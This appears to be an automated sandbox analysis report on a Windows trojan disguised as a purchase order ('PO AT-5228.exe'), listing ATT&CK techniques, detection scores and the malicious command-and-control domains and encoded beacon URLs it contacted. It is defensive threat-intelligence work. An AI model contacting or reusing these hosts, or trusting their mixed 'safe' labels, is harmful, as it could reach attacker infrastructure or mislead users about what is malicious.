Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BB8C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00BB8C4F
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00BB923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00BB923B

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO AT-5228.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
PO AT-5228.exe	27%	Virustotal		Browse
PO AT-5228.exe	100%	Avira	HEUR/AGEN.1319223
PO AT-5228.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
binacamasala.com	0%	Virustotal	Browse
ladylawher.shop	0%	Virustotal	Browse
www.kghjkx.xyz	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111325300285.jpg	0%	Avira URL Cloud	safe
http://www.neg21.top/1i1f/	0%	Avira URL Cloud	safe
http://www.energyparks.net/k47i/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111538232952.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121130140569.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121401562198.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111658373793.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/amazeui.min.js	0%	Avira URL Cloud	safe
http://www.primeproperty.property/c1ti/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/app.js	0%	Avira URL Cloud	safe
http://www.ladylawher.shop/i4bc/?rP=P7cuULF9RNNpbZDPqOSIjiALg+sZAwaoAqjHQXQRXIOUhYGrthov5xR31GNCxCywGXd8BQaSBdu7etG1CrfHuWVBHlP07YMsKwlH7wrGl8lSs0vEOZdyfzQ=&2p2h=vzYT2lDhJTZ0Ql	0%	Avira URL Cloud	safe
http://www.kghjkx.xyz/usop/?rP=3GbX3siKa3fb4xoywiCreKN2vNnbaQz6Sbk2xDjabsziN9g8eu79RDllgCpODOeJxsPok1tislweMq7jEyJ1HksFPNjAfzJjuFgq98sTQGUllsVyDZpLjNQ=&2p2h=vzYT2lDhJTZ0Ql	0%	Avira URL Cloud	safe
http://www.yvrkp.top/9jdk/?rP=WubzzLgyg7H8FuUk5n/moB8/gOqFZhsVZD6HlZkF1Lv4/cTJ30fLKlagebv44Go8+oe4d1owWbTtJNvV0eU1JmU5XMaUHO6aCszk2dDtn8pHKEGonxM30wY=&2p2h=vzYT2lDhJTZ0Ql	0%	Avira URL Cloud	safe
http://www.flikka.site/brrb/?rP=Pyc5xCH2FNTrUJIJcyFngeQJg4SvOnlrloocc6vOBweawvT0T5Z/ogiftYZRDFuocKSPtlVGb/YM09jHyAcWaQwrV3rluoKHVSlnOVUNWjSt4yW6AKlEvfo=&2p2h=vzYT2lDhJTZ0Ql	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111832440129.jpg	0%	Avira URL Cloud	safe
http://www.ladylawher.shop/i4bc/	0%	Avira URL Cloud	safe
https://www.kghjkx.xyz/usop/?rP=3GbX3siKa3fb4xoywiCreKN2vNnbaQz6Sbk2xDjabsziN9g8eu79RDllgCpODOeJxsPo	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/canvi.js	0%	Avira URL Cloud	safe
http://www.iuyi542.xyz/cymd/?2p2h=vzYT2lDhJTZ0Ql&rP=SQRZB1HP1/e+i1vXk12pUULDRytIn3wFTHYuRC8KH5mDKLD+AhmaNIKBelYQ6UpcdOsF2Uw9L0OACGIyKZ1sjmu2WbkhaOw9WSlER16P5D40fVfxJRSv6AQ=	0%	Avira URL Cloud	safe
http://www.kghjkx.xyz/usop/	0%	Avira URL Cloud	safe
http://www.digitaladpro.shop	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111513122916.jpg	0%	Avira URL Cloud	safe
http://www.energyparks.net/k47i/?rP=9kxEYcPO0Qe31MjAFnEMVPHcjnW8clhJfOSVnSYcFCRu8P8I16bnpHX0uCpjJCIKhM8RXi76z74nz8CD3eQ5QOBn4QFToSxFkTdn7+Zz8rczuwwOORjeo18=&2p2h=vzYT2lDhJTZ0Ql	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121022389060.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111312107302.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/jquery-1.9.1.min.js	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/service.png	0%	Avira URL Cloud	safe
http://www.binacamasala.com/usv6/?rP=TgDODAIJaOl5jtT4JRfI9OPwBKlUmFbaFilQ+MjMe2d3S0GP4FMVsOvduy7NJ4+NeTwYvTqThdXRP3V3mN8pkp0x831zohGfqDiCdJRchCUQ1npuqurwuCk=&2p2h=vzYT2lDhJTZ0Ql	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111427368389.jpg	0%	Avira URL Cloud	safe
http://www.primeproperty.property/c1ti/?rP=UWVJg+rBkYQ16c/k/c5G2tAQQlKC6rNVaa0x99kOYGF7jBYWQyWqu7Abjh8I3w9fm9z6F4PdgXfZGbhZEsJH8R4Ck+TUDnCQl4oBl/L9phTMmBOgy1HwiRs=&2p2h=vzYT2lDhJTZ0Ql	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281124251637.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/top.png	0%	Avira URL Cloud	safe
http://www.binacamasala.com/usv6/	0%	Avira URL Cloud	safe
http://www.iuyi542.xyz/cymd/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111535192258.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/email.png	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/rexiao.jpeg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121017068870.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121445018007.jpg	0%	Avira URL Cloud	safe
http://www.digitaladpro.shop/m6se/	0%	Avira URL Cloud	safe
http://www.college-help.info/fu91/?rP=HVzlbrdNsUKwRMyAkSaq9f4c/m6isv/WUf8DIHIYxdtxD6ajZVqGW4SkaKVstmHHiDHGL4Ocj6+1IS/NZZr1NwcNkcJHwAXjc6i3ixCnFRD7cmGoWCaelms=&2p2h=vzYT2lDhJTZ0Ql	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/search.png	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111752281448.jpg	0%	Avira URL Cloud	safe
http://www.yvrkp.top/9jdk/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111820293498.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/amazeui.css	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/menu.png	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/home.png	0%	Avira URL Cloud	safe
https://parking.reg.ru/script/get_domain_data?domain_name=www.marketplacer.top&rand=	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/normalize.css	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121103162503.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281610030481.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111319395468.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281832298961.jpg	0%	Avira URL Cloud	safe
http://www.flikka.site/brrb/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121124551331.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/app.css	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/mescroll.min.css	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121111152889.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/buy-logo.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dns.webcake.io	113.20.119.31	true	false		high
www.college-help.info	38.88.82.56	true	false		high
ghs.google.com	172.217.16.211	true	false		high
binacamasala.com	3.33.130.190	true	true	0%, Virustotal, Browse	unknown
ladylawher.shop	3.33.130.190	true	true	0%, Virustotal, Browse	unknown
www.kghjkx.xyz	47.129.103.185	true	true	2%, Virustotal, Browse	unknown
www.yvrkp.top	104.21.14.183	true	true		unknown
www.flikka.site	67.223.117.142	true	true		unknown
www.marketplacer.top	194.58.112.174	true	true		unknown
iuyi542.xyz	38.47.237.27	true	true		unknown
neg21.top	206.119.81.36	true	true		unknown
energyparks.net	3.33.130.190	true	false		high
15.164.165.52.in-addr.arpa	unknown	unknown	false		high
www.primeproperty.property	unknown	unknown	false		unknown
www.digitaladpro.shop	unknown	unknown	false		unknown
www.energyparks.net	unknown	unknown	false		high
www.neg21.top	unknown	unknown	false		unknown
www.binacamasala.com	unknown	unknown	false		unknown
www.iuyi542.xyz	unknown	unknown	true		unknown
www.jllllbx.top	unknown	unknown	false		high
www.ladylawher.shop	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.primeproperty.property/c1ti/	true	Avira URL Cloud: safe	unknown
http://www.energyparks.net/k47i/	true	Avira URL Cloud: safe	unknown
http://www.neg21.top/1i1f/	true	Avira URL Cloud: safe	unknown
http://www.ladylawher.shop/i4bc/?rP=P7cuULF9RNNpbZDPqOSIjiALg+sZAwaoAqjHQXQRXIOUhYGrthov5xR31GNCxCywGXd8BQaSBdu7etG1CrfHuWVBHlP07YMsKwlH7wrGl8lSs0vEOZdyfzQ=&2p2h=vzYT2lDhJTZ0Ql	true	Avira URL Cloud: safe	unknown
http://www.kghjkx.xyz/usop/?rP=3GbX3siKa3fb4xoywiCreKN2vNnbaQz6Sbk2xDjabsziN9g8eu79RDllgCpODOeJxsPok1tislweMq7jEyJ1HksFPNjAfzJjuFgq98sTQGUllsVyDZpLjNQ=&2p2h=vzYT2lDhJTZ0Ql	true	Avira URL Cloud: safe	unknown
http://www.ladylawher.shop/i4bc/	true	Avira URL Cloud: safe	unknown
http://www.flikka.site/brrb/?rP=Pyc5xCH2FNTrUJIJcyFngeQJg4SvOnlrloocc6vOBweawvT0T5Z/ogiftYZRDFuocKSPtlVGb/YM09jHyAcWaQwrV3rluoKHVSlnOVUNWjSt4yW6AKlEvfo=&2p2h=vzYT2lDhJTZ0Ql	true	Avira URL Cloud: safe	unknown
http://www.yvrkp.top/9jdk/?rP=WubzzLgyg7H8FuUk5n/moB8/gOqFZhsVZD6HlZkF1Lv4/cTJ30fLKlagebv44Go8+oe4d1owWbTtJNvV0eU1JmU5XMaUHO6aCszk2dDtn8pHKEGonxM30wY=&2p2h=vzYT2lDhJTZ0Ql	true	Avira URL Cloud: safe	unknown
http://www.iuyi542.xyz/cymd/?2p2h=vzYT2lDhJTZ0Ql&rP=SQRZB1HP1/e+i1vXk12pUULDRytIn3wFTHYuRC8KH5mDKLD+AhmaNIKBelYQ6UpcdOsF2Uw9L0OACGIyKZ1sjmu2WbkhaOw9WSlER16P5D40fVfxJRSv6AQ=	true	Avira URL Cloud: safe	unknown
http://www.kghjkx.xyz/usop/	true	Avira URL Cloud: safe	unknown
http://www.energyparks.net/k47i/?rP=9kxEYcPO0Qe31MjAFnEMVPHcjnW8clhJfOSVnSYcFCRu8P8I16bnpHX0uCpjJCIKhM8RXi76z74nz8CD3eQ5QOBn4QFToSxFkTdn7+Zz8rczuwwOORjeo18=&2p2h=vzYT2lDhJTZ0Ql	true	Avira URL Cloud: safe	unknown
http://www.binacamasala.com/usv6/?rP=TgDODAIJaOl5jtT4JRfI9OPwBKlUmFbaFilQ+MjMe2d3S0GP4FMVsOvduy7NJ4+NeTwYvTqThdXRP3V3mN8pkp0x831zohGfqDiCdJRchCUQ1npuqurwuCk=&2p2h=vzYT2lDhJTZ0Ql	true	Avira URL Cloud: safe	unknown
http://www.primeproperty.property/c1ti/?rP=UWVJg+rBkYQ16c/k/c5G2tAQQlKC6rNVaa0x99kOYGF7jBYWQyWqu7Abjh8I3w9fm9z6F4PdgXfZGbhZEsJH8R4Ck+TUDnCQl4oBl/L9phTMmBOgy1HwiRs=&2p2h=vzYT2lDhJTZ0Ql	true	Avira URL Cloud: safe	unknown
http://www.binacamasala.com/usv6/	true	Avira URL Cloud: safe	unknown
http://www.iuyi542.xyz/cymd/	true	Avira URL Cloud: safe	unknown
http://www.college-help.info/fu91/?rP=HVzlbrdNsUKwRMyAkSaq9f4c/m6isv/WUf8DIHIYxdtxD6ajZVqGW4SkaKVstmHHiDHGL4Ocj6+1IS/NZZr1NwcNkcJHwAXjc6i3ixCnFRD7cmGoWCaelms=&2p2h=vzYT2lDhJTZ0Ql	true	Avira URL Cloud: safe	unknown
http://www.digitaladpro.shop/m6se/	false	Avira URL Cloud: safe	unknown
http://www.yvrkp.top/9jdk/	true	Avira URL Cloud: safe	unknown
http://www.flikka.site/brrb/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111325300285.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reg.ru	AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111538232952.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111658373793.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121130140569.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/domain/new/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_lan	AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/app.js	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121401562198.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/amazeui.min.js	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111832440129.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.kghjkx.xyz/usop/?rP=3GbX3siKa3fb4xoywiCreKN2vNnbaQz6Sbk2xDjabsziN9g8eu79RDllgCpODOeJxsPo	AtBroker.exe, 00000003.00000002.3526286582.0000000005DB6000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.00000000044E6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/canvi.js	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.digitaladpro.shop	BLUymyzgBTyhbo.exe, 00000005.00000002.3527019353.000000000576F000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111513122916.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/whois/?check=&dname=www.marketplacer.top&reg_source=parking_auto	AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111312107302.jpg	BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/jquery-1.9.1.min.js	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reg.ru/dedicated/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_land	AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121022389060.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/service.png	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111427368389.jpg	BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281124251637.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/top.png	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getbootstrap.com/)	AtBroker.exe, 00000003.00000002.3526286582.0000000005F48000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000004678000.00000004.00000001.00040000.00000000.sdmp	false		high
https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-	AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/rexiao.jpeg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111535192258.jpg	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/email.png	AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
